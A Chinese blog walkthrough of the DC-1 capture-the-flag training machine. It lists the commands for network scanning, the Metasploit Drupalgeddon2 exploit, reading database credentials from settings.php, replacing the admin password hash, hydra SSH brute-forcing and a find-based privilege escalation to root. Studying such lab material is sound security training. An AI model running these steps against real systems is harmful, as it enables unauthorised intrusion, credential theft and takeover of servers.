DC-1详解(绝对的详细!)

DC-1靶机整个渗透过程(B站可以看小飞侠的视频真的好!)

将kali和DC-1的网络均设置为NAT模式

获取kali的IP地址

ifconfig 查看IP命令需要记住

扫描此IP段中存活的靶机IP

arp-scan -l

根据靶机MAC地址来确认其IP地址

用masscan快速扫描DC-1开放的端口

masscan --rate10000 -p 1-65535 192.168.220.131

--rate10000 用来定义扫描速率

-p 1-65535 定义扫描从1-65535端口

192.168.220.131 靶机IP

通过上一步扫描得到靶机开放的端口为22,80,111,55336

80端口一般为http网页端口

22端口为ssh端口

(个人拙见,请各位看官评论补充)

直接采用nmap仔细扫80端口

(也是在网上看了很多发现都是搞得80端口,对其他端口我也不是很懂,就跟着做,请看官评论区补充为何只搞此端口,其他端口能不能搞?技术尚浅,海涵海涵。)

访问80端口

http://192.168.220.131

直接火狐访问就行,我们需要用到一个插件wappalyzer,直接在火狐的扩展和主题搜wappalyzer添加即可,添加完成之后回到靶机网站页面点击此插件,即可得到此网站的CMS版本,其实nmap仔细扫描时已经能看到其为Drupal7,对于本人这种菜鸟来说还是看这个插件比较直观。

发现网站的CMS,开始寻找Drupal7是否存在漏洞可以利用,采用msf进行漏洞利用

在kali终端界面输入,msfconsole,打开msf

也可以在kali的漏洞利用工具中打开metasploit framework

在msf命令下查找Drupal的相关漏洞

search drupal

利用序列为1的漏洞 exploit/unix/webapp/drupal_drupalgeddon2(对于此我也没有考虑清楚为何要利用此漏洞,请看官评论区补充,谢谢!)

use 1

或者 use exploit/unix/webapp/drupal_drupalgeddon2

然后show options (此原理我也不懂,请看官补充)

为RHOSTS设置IP

set RHOSTS 192.168.220.131

exploit

shell

python -c 'import pty;pty.spawn("/bin/bash")'

即可看见第一个flag文件:flag1.txt

查看flag1.txt

cat flag1.txt

Every good CMS needs a config file - and so do you.

提示查找配置文件

在此目录下输入ls查看此目录下存在的文件有哪些

看到sites(站点)

ls sites 查看站点文件,发现发现default(默认)文件

ls sites/default 查看其中的内容 发现setting.php文件

cd sites/default 进入default文件

vi setting.php 打开此文件,发现flag2(也可以cat此文件,vi退出为输入:q回车)

flag2提示

Brute force and dictionary attacks aren't the only ways to gain access (and you WILL need access). What can you do with these

暴力 力量 字典 攻击 获得 通过

credentials?

证书,凭证

也就是暴力破解不一定是一个好办法,下面有数据库相关信息,我们可以看到数据库为mysql并且能得到用户名和密码

登录此数据库

mysql -udbuser -pR0ck3t

查看数据库内容

show databases; (数据库结束语带分号;)

发现drupaldb也就是drupal的数据库,进入其中

use drupaldb

查看此数据库中的表

show tables

在此表中我们可以发现一个名为users的表,展现此表中的数据

select * from users;

我们可以看见用户名为admin的账户,并且看到其密码,但是已经被加密过。

尝试发现密码的加密规则,新开一个终端窗口输入hash-identifier 查询密码的加密方式

$S$D7BoMCmj4828RFeq3OSlxq6p1W5ObcqM/PNcLKg4wPqjLhvN1di9

发现查询不到,当然,这一步并不是无用功,正是因为查询不到其加密方式,所以暴力破解是无法攻破的,因此我们需要换种方式,经过百度其他人的成果(虽然这样不好,但是我这菜鸡还是没想到如何才能搞定这个)发现Drupal可以利用password-hash.sh文件来生成此种加密的结果。

退出数据库寻找password-hash.sh程序,直接cd / 返回根目录,然后find查找

find / -name password-hash* 查询名字中包含password-hash的所有文件

发现/var/www/scripts/password-hash.sh 来到scripts文件进行调用,此处调用不成功,回到www目录下,然后运行

scripts/password-hash.sh 123456 得到加密结果

password: 123456 hash: $S$DqmSfBfFUmIoobomWlB45XSI7MG..o9y9zzUQEc2xGzYXgxfnM19

回到数据库中,将密码进行替换

update users set pass=’$S$DqmSfBfFUmIoobomWlB45XSI7MG..o9y9zzUQEc2xGzYXgxfnM19‘ where uid = 1;

更新 表名 设置 列名=’更改的值‘ where 列名=1;

更新完成之后,在网页登录

登录之后发现flag3

说实话这一步的提示没看懂(请看官评论区补充一下这个是啥意思)

获取第四个flag

这个是百度出来的,返回到/目录下,ls发现etc文件

cd etc 打开etc文件,发现passwd,此文件并非密码文件,而是账户文件(我也不是很懂,请看官补充)

cat passwd

发现flag4,其为一个账户。

cat passwd,发现flag4账户,根据百度结果,直接对此账户进行暴力破解

暴力破解flag4账户

hydra -l flag4 -P /usr/share/wordlists/rockyou.txt ssh://192.168.220.131

hydra海德拉破解 -l 指定破解账户 -P(大写) 指定字典文件 ssh://192.168.220.131 目标靶机

此步要在kaili终端进行

破解完成之后连接到flag4账户

ssh flag4@192.168.220.131

输入破解到的密码orange

直接find提权(这一步我是最不理解的,请看官给出意见!谢谢!)

find -name flag4.txt -exec /bin/bash -p \;

完成提权

whoami

发现自己是root

然后cd /root

发现最终的flag

终于完成了,虽然中间有很多坎坷,也有很多不懂的地方,但是最起码做了一遍让自己有一个初步的印象,相信慢慢的就能理解其中的意思了,也希望各位看官给出宝贵意见!

  • 8
    点赞
  • 39
    收藏
    觉得还不错? 一键收藏
  • 8
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 8
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值